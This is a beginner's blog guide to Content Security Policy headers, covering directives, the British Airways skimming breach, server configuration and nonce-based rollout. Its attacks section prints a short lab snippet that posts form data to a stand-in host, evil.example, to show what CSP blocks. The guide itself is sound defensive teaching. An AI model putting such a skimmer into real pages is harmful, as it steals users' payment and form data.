...
Back to Articles
Blog

What Is a Content Security Policy (CSP) Header? A Simple Guide for Beginners

What Is a Content Security Policy (CSP) Header? A Simple Guide for Beginners

Last year I checked a client’s payment page and found a big problem. The page had no CSP header at all. If an attacker had added even a few lines of bad JavaScript, through a weak plugin, a hacked third-party script or a stored XSS bug, nothing would have stopped it. That script could have sent customer data anywhere.

A CSP header is a small rule that closes this gap. It takes about an hour to write and a week or two to test safely. In this guide, I will explain what it is and how to set it up, step by step. You do not need any security background.

What Is a Content Security Policy?

When a web page loads, it pulls in many files: JavaScript, CSS, images, fonts and more. They can come from your own server, a CDN, Google Fonts, an analytics tool or a payment widget. By default, the browser trusts everything the page asks for.

Attackers use this trust. If they can sneak even a small piece of code onto your page, the browser will run it like your own code.

A Content Security Policy (CSP) is a rule that your server gives to the browser. It lists which websites are allowed to load scripts, images and other files on your page. Anything not on the list is blocked.

Think of it as a guest list for a party. Only invited guests get in. Everyone else is turned away at the door.

CSP is not software you install. It is one line of text, called an HTTP header, that your server adds to each page.

How Does CSP Work? Step by Step

  1. Your server sends the page to the browser, along with the Content-Security-Policy header.
  2. The browser starts loading the page and finds a file to load, such as a script.
  3. Before loading it, the browser checks the CSP list. Is this source allowed?
  4. If yes, the file loads. If no, the browser blocks it and usually writes an error in the console.

The browser does this check for every file, every time. It works even if your own code has a bug that let the bad content in. That is why CSP is called a last line of defence.

The Most Important CSP Directives

A CSP header is made of directives. Each directive is a rule for one type of content. You do not need all of them on day one. These four matter most.

What Is default-src?

This is the fallback rule. It applies to any content type you did not set a rule for. Most policies start with default-src 'self';, which means “only load things from my own website.” Then you add exceptions for things you really need.

What Is script-src?

This controls where JavaScript can load from. It is your main defence against XSS (cross-site scripting). XSS is a bug that lets attackers run their own code on your page. If script-src is strict, injected scripts will not run.

What Is connect-src?

This controls where your page can send data using fetch, AJAX or WebSocket. It helps stop data theft. In the British Airways attack, this rule could have blocked the card details from leaving the page.

What Is frame-ancestors?

This controls which websites can show your page inside an iframe. Setting it to 'none' protects you from clickjacking. In clickjacking, an attacker hides your page under a fake page and tricks users into clicking buttons they cannot see.

Other Useful Directives

Directive What it controls Example
style-src Where CSS can load from style-src 'self';
img-src Where images can load from img-src 'self' data:;
font-src Where fonts can load from font-src 'self' https://fonts.gstatic.com;
object-src Old plugin content like Flash. Almost always set to none object-src 'none';
base-uri Stops attackers from changing the page’s base URL base-uri 'none';
form-action Where forms can send data form-action 'self';
frame-src Where your page can load iframes from frame-src 'self';
media-src Where audio and video can load from media-src 'self';
worker-src Where web workers can load from worker-src 'self';
manifest-src Where the web app manifest can load from manifest-src 'self';
upgrade-insecure-requests Loads HTTP files over HTTPS instead upgrade-insecure-requests;
require-trusted-types-for Chrome only. Forces DOM code through a Trusted Types policy to reduce DOM-based XSS require-trusted-types-for 'script';

You may see old articles that mention directives you should not use:

  • navigate-to was removed from the CSP specification in September 2022. No browser ever fully supported it.
  • block-all-mixed-content is outdated. Modern browsers already handle mixed content, so use upgrade-insecure-requests instead.

Also, Content-Security-Policy-Report-Only is not a directive. It is a separate header that only logs problems and does not block anything. We will use it in the testing section.

What Happened in the British Airways Breach?

In 2018, attackers added about 22 lines of JavaScript to the British Airways payment page. The script copied card details, including the CVV, from every customer who paid. It sent a copy to the attackers’ server and then passed the data to the real payment system, so nothing looked broken.

Between 380,000 and 429,000 customers were affected. The UK data regulator, the ICO, first planned a £183 million fine. It was later reduced to £20 million.

A strong CSP could have stopped the stolen data from leaving the page. The browser would have refused to send it to a website that was not on the approved list. That is the main idea behind CSP.

Security Risks CSP Helps Stop: 3 Real Attacks

1. Stealing cookies through a comment form

Imagine your site lets people post comments, and you do not clean the input. An attacker posts a comment with a script that reads visitors’ cookies and sends them away. With a strict script-src, the browser refuses to run that script. The comment stays as harmless text.

2. A hacked third-party script (the Magecart pattern)

This is the British Airways pattern. A script on your payment page is changed by an attacker. It tries to send card details to the attacker’s server. Here is a simple version for a lab test:

// Lab example only. Run it on your own test page.
form.addEventListener('submit', () => {
  fetch('https://evil.example/collect', {
    method: 'POST',
    body: new FormData(form)
  });
});

With connect-src 'self', the browser blocks the request and shows an error like this in the console:

Refused to connect to 'https://evil.example/collect' because it violates
the following Content Security Policy directive: "connect-src 'self'".

Attackers have other ways to send data out, such as loading an image with the stolen data in the URL, or submitting a form. This is why a good policy also limits img-src and form-action, and does not only set connect-src.

3. Clickjacking an admin panel

An attacker puts your admin dashboard inside an invisible iframe and places a fake button over your real “delete” button. A logged-in admin clicks it without knowing. With frame-ancestors 'none';, browsers will not load your page inside any iframe, so this attack fails.

How to Add a CSP Header (Nginx, Apache, Express)

CSP is set on the server. Here are three common setups.

Nginx (add this inside your server block):

add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://trusted-cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; object-src 'none'; frame-ancestors 'none';" always;

One Nginx trap: if you use add_header inside a location block, it removes the headers you set at the server level. If your CSP disappears on some pages, check this first.

Apache (add to .htaccess or your virtual host file, and make sure mod_headers is enabled):

Header always set Content-Security-Policy "default-src 'self'; script-src 'self' https://trusted-cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; object-src 'none'; frame-ancestors 'none';"

Express (Node.js) using the helmet package:

const helmet = require('helmet');

app.use(
  helmet.contentSecurityPolicy({
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", "https://trusted-cdn.com"],
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", "data:"],
      connectSrc: ["'self'"],
      objectSrc: ["'none'"],
      frameAncestors: ["'none'"]
    }
  })
);

These examples use 'unsafe-inline' for styles. Inline styles are a much smaller risk than inline scripts, and many sites cannot remove them easily. For scripts, the next section shows a safer way.

How to Allow Inline Scripts Safely (Nonce and Hash)

A strict CSP blocks inline scripts, which are scripts written directly in your HTML. Many older sites use them. Beginners often fix the errors by adding 'unsafe-inline' to script-src.

Please do not do this. It lets every injected script run too, which is exactly what CSP is meant to stop.

Use a nonce

A nonce is a random, one-time value. Your server creates a new one for every page load and adds it to both the header and your script tag:

Content-Security-Policy: script-src 'nonce-RANDOM_VALUE_HERE';

<script nonce="RANDOM_VALUE_HERE">
  console.log('This inline script is trusted');
</script>

An attacker cannot guess the nonce, so their injected script is blocked. The nonce must be created fresh for every request. Never reuse one. Here is how to do it in Express:

const crypto = require('crypto');

app.use((req, res, next) => {
  res.locals.cspNonce = crypto.randomBytes(16).toString('base64');
  next();
});

app.use(
  helmet.contentSecurityPolicy({
    directives: {
      scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.cspNonce}'`],
      objectSrc: ["'none'"],
      baseUri: ["'none'"]
    }
  })
);

Use a hash

A hash is for inline scripts that never change. You make a SHA-256 hash of the exact script and add it to the policy:

Content-Security-Policy: script-src 'self' 'sha256-abc123examplehash==';

If you change even one character in the script, the hash no longer matches, and you must update the policy.

A modern option: nonce plus strict-dynamic

Long lists of allowed websites are hard to maintain, and security researchers have found that they can often be bypassed. Google’s guidance for a strict CSP recommends a nonce with 'strict-dynamic' instead:

Content-Security-Policy: script-src 'nonce-RANDOM_VALUE_HERE' 'strict-dynamic'; object-src 'none'; base-uri 'none';

This means: trust my scripts that have the nonce, and also trust any scripts that those scripts load. You no longer need to list every CDN. Test it in the browsers your visitors use before you enforce it.

How to Test CSP Without Breaking Your Site

Many guides skip this part, but it decides whether you succeed. If you turn on a strict CSP all at once, you can break parts of your site that use inline scripts or forgotten third-party tools.

Use Content-Security-Policy-Report-Only first. It uses the same rules, but it only logs problems and blocks nothing:

Reporting-Endpoints: csp-endpoint="https://your-domain.com/csp-reports"
Content-Security-Policy-Report-Only: default-src 'self'; report-to csp-endpoint;

Here is the safe plan:

  1. Run Report-Only for one to two weeks.
  2. Read the reports and fix or allow anything real that was flagged.
  3. Change the header name to Content-Security-Policy to start blocking.

The report-to directive is the modern way to collect reports. The older report-uri is deprecated, but some browsers still need it, so you can use both for now.

I usually tell clients to plan at least a week of Report-Only testing. Old inline scripts, forgotten tracking pixels and third-party embeds show up more often than you would expect. It is much better to find them in a report than in an angry support ticket.

How to Check If Your CSP Is Working (Free Tools)

  • Browser DevTools: open the Console and Network tabs. Blocked items show a clear error message.
  • Google CSP Evaluator: paste your policy and it points out weak rules.
  • Mozilla Observatory: scans your site and grades its security headers.
  • securityheaders.com: a quick check of all your security headers at once.

Common CSP Mistakes Beginners Make

  • Adding 'unsafe-inline' to script-src to make errors go away.
  • Using a wildcard like * or https:, which allows almost everything.
  • Skipping Report-Only and breaking the live site.
  • Setting connect-src but leaving img-src open.
  • Forgetting the header on some pages, for example because of the Nginx location problem above.
  • Copying a policy from the internet without testing it on your own site.

CSP and PCI DSS: What Payment Sites Must Know

If your site takes card payments, PCI DSS version 4.0 adds two requirements that became mandatory on 31 March 2025. Requirement 6.4.3 says you must manage and approve every script on your payment pages. Requirement 11.6.1 says you must detect changes to those pages. A good CSP helps with the first one, and CSP violation reports can support the second. They do not replace proper monitoring, but they cover exactly the kind of risk that hit British Airways.

For a wider view of these rules, read our guide to GDPR, HIPAA, PCI DSS and CCPA.

What CSP Cannot Protect You From

CSP is helpful, but it is not magic.

  • It does not fix XSS bugs in your code. It only limits the damage after an attack gets in. You still need to validate input and encode output.
  • It does not stop server-side attacks like SQL injection.
  • A weak CSP can be worse than none, because it gives a false feeling of safety. A policy with 'unsafe-inline' or wide wildcards protects very little.

Where to Start If Your Site Has No CSP

  1. Start with a basic policy: default-src 'self'; plus the services you know you use.
  2. Add frame-ancestors 'none'; and object-src 'none'; right away. Almost no modern site needs to be framed or to load old plugins.
  3. Run it as Content-Security-Policy-Report-Only for one to two weeks.
  4. Fix what the reports show, then move toward nonce plus 'strict-dynamic' for scripts.
  5. Switch to the real Content-Security-Policy header.

British Airways had far more money and staff than most of us. What stood between their customers’ card data and 22 lines of attacker code was a header that takes an hour to write and a few weeks to roll out well. That is why CSP is one of the first three things I check on any website.

Seraphinite AcceleratorOptimized by Seraphinite Accelerator
Turns on site high speed to be attractive for people and search engines.